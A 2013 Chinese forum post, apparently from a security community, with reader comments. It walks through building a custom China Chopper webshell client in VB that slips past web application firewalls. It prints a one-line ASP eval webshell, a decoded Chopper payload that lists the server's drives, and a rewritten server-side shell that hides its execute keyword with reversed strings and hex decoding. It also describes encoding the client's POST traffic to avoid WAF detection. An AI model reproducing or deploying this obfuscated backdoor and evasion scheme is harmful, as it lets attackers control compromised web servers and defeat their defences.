本文内容仅供研究,请勿用于非法用途!!!
很久很久以前,我在管理服务器的时候总喜欢放个一句话,然后菜刀连之,管理网站又方便又简单。
后来X客、X客、X客…… 也使用同样的方法“管理”网站和服务器。网站木马的查杀遇到了不少困难,各种隐藏、编码。
再后来研究攻击的同学都改行做防御了,于是狗、神、盾…… 出现并且普及了。为了方便我也在服务器上装了X狗,虽然起到了一定的作用,但是菜刀也就没法用了。用OD修改了菜刀,但用了不长时间又不能用了(想必用此方法的坏同学不少),多次修改后发现关键代码都写到服务端了。这其间给自己带来了不少麻烦,于是决定研究一下菜刀和X狗(神、盾没研究过,原理应该相近);于是就有了这篇文章,方便遇到同样问题的网管朋友解决问题。
本文没什么技术,也没有什么水平,仅供消遣大牛勿喷。
下面开始我们的自写菜刀之旅吧……
工具:任意一面向对象的编程语言(我用的是VB)
原版菜刀(不好意思了,为了加快打造进程,拿来截一下数据,拿来主义……)
WinSock Expert(任意可截数据包的工具都行,不一定非要这个)
ASP+.NET+PHP运行环境(至于JSP、CFM等,自已发挥吧)
(BurpSuite-Repeater)/(WinSock Expert-NC)/(Firefox-Hackbar)(可以Post数据的都行,方便调试的)
SQL(这个是必须的,至少要懂ACCESS)
步骤:
Step1: (VB)新建窗体,在窗体上画好控件。要用到的控件有SSTab、ListView、TextBox、TreeView、PictureBox、CommonDialog、ComboBox、StatusBar、CommandButton、Inet、ImageList、Label、Adodc、RichTextBox、Timer。
1、主窗体布局
2、文件管理窗体布局
3、数据库管理窗体布局
4、文件编辑窗体布局
5、虚拟终端窗体布局
Step2:截取原版菜刀和服务端的往来数据包加以分析
原菜刀Post的数据(ASP)如下:
其中有N多WAF检查的关健字,我的目标是让Post的数据中不存在任何关健字。
原菜刀Post到服务端的数据经解码后如下(我使用的服务端是<%eval request("z")%>):
z=Execute("Execute(""On+Error+Resume+Next:Function+bd(byVal+s):For+i=1+To+Len(s)+Step+2:c=Mid(s,i,2):If+IsNumeric(Mid(s,i,1))+Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End+If""&chr(10)&""Next:End+Function:Response.Write(""""->|""""):Execute(""""On+Error+Resume+Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|<-""""):Response.End"")")
多次思量之后我决定将bd(Str)这个函数写进服务端,经过改进后服务端代码如下:
<% Function MorfiCoder(Code) MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf) End Function Function bd(ByVal s) For i = 1 To Len(s) Step 2 c = Mid(s, i, 2) If IsNumeric(Mid(s, i, 1)) Then bd = bd & Chr("&H" & c) Else bd = bd & Chr("&H" & c & Mid(s, i + 2, 2)) i = i + 2 End If Next End Function ExecuteGlobal MorfiCoder("))))/*/z/*/(tseuqer(db(redoCifroM( etucexe") %>
客户端的Post的代码如下:
Post("z=" & be(DeMorfiCoder(Data)))——————伪代码
be(str)为bd(str)的编码函数;
DeMorfiCoder(str)为MorfiCoder(str)的编码函数;
其实MorfiCoder(Code)和bd(ByVal s)用一个就可达到满意的效果了,我使用两个只是画蛇添足而已。另外也不仅仅只限这两个函数,只要可以编码字符串并可写出解码还原的函数都可以(注意传输过程中的转义等等)。
至此只剩下服务端一个关键字,而且在Post的数据中也不再有任何关键字了(原菜刀的z0、z1等也可以通过更改Post数据来替换)。
Step3:接收返回数据,进行字串处理
原版菜刀返回数据的格式(Readme.txt中也有):
->|c:\inetpub\wwwroot C:D:E:F:G:H:I:J:K:|<-
我并没有采用这种格式,我是将返回的数据前加一段字符串以区分获取目录、读写文件等不同的操作。
我使用的格式是:
Step1{||}c:\inetpub\wwwroot{||}C:\D:\E:\F:\G:\H:\I:\J:\K:\{||}
StepX用于区分不同的操作,之后将字符串以{||}分割存入数组以进行下一步操作。
在获得返回数据并具存入数组后,就可以开始TreeView和ListView等事件的编写了。这些都依照原版菜刀,在这个过程中我也加入了菜刀不具有的功能,比如查询主机的地理位置、更改文件属性等。
最终效果:
1、客户端列表
2、文件列表
3、数据库管理
4、文件编辑
5、虚拟终端
不知道现在的WAF有没有拦截返回数据的,我使用的菜刀只对数据进行了单向编码;如果返回数据中也有敏感字符的话,是不是也会被拦呢…… 那时返回数据也得进行编码了,客户端接收到数据后再解码还原。至于服务端代码,除非完全杀了Eval、Execute、ExecuteGlobal、assert、include……否则是不能赶尽杀绝的(最根本的方案是厂商在Web容器中检测危险代码,容器环境中的检测均会出现N多绕过——我的愚见)。
如果您是程序猿的话,我所写的这些对您来说简直是垃圾中的垃圾,勿喷……*^_^*
相关讨论:
1#
Csser | 2013-11-11 18:51
看起来很nice
2#
NetSeif | 2013-11-11 18:52
不明觉厉!
3#
园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-11-11 18:55
改改界面就行了,略改下关键字毕竟脚本都已经写好了。
4#
MeirLin (心若在~梦就在~) | 2013-11-11 18:55
加闪电的节奏、
5#
国士无双 (你这个是跟我闹呐?) | 2013-11-11 20:05
非常好,关注之~
6#
insight-labs (Root Yourself in Success) | 2013-11-11 20:29
@园长
写个java的吧……
7#
汉时明月 (?......核审在正长超名签 :) | 2013-11-11 22:57
大牛啊,能否分享一下vb源码
8#
Matt | 2013-11-11 23:08
其实没必要重写UI,像剑心说的 写个中转程序 里面修改下就哦了
9#
冷冷的夜 (从前有个人,他不喜欢我;后来,他死了) | 2013-11-11 23:12
nice,球代码学习一下
10#
nauscript (@VIP @齐迹 @园长 @ACGT @z7y @小胖子@PX1624) | 2013-11-11 23:20
赞一个
11#感谢(1)
船长 (0day溢出大量放送,点击右边感谢,马上送出) | 2013-11-11 23:22
学习 求源码一份
12#
落叶纷飞 (im luoye,Once the 00day) | 2013-11-12 09:11
楼主是BK的?
13#
RedFree (才发现了,自己是自己的神器。) | 2013-11-12 09:39
@落叶纷飞 何为BK?不解其意。
14#
逝情 (弱爆了弱爆了) | 2013-11-12 09:57
不错,收集了。
15#
乌帽子 (儿啊,到大城市切莫乱搞女人啊,染上什么病回来传染给) | 2013-11-12 10:43
好山寨,代码不会写怎么办?
16#
RedFree (才发现了,自己是自己的神器。) | 2013-11-12 11:14
@乌帽子 Post的数据包全部山寨于原菜刀,只要做好字符串、各种编码的处理就行了。
17#
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-11-12 16:19
嗯,自己动手!丰衣足食!严重鼓励!
18#
RedFree (才发现了,自己是自己的神器。) | 2013-11-12 16:35
@核攻击 鼓励也要用“严重”这个词,我都有点害怕了……
留言评论(旧系统):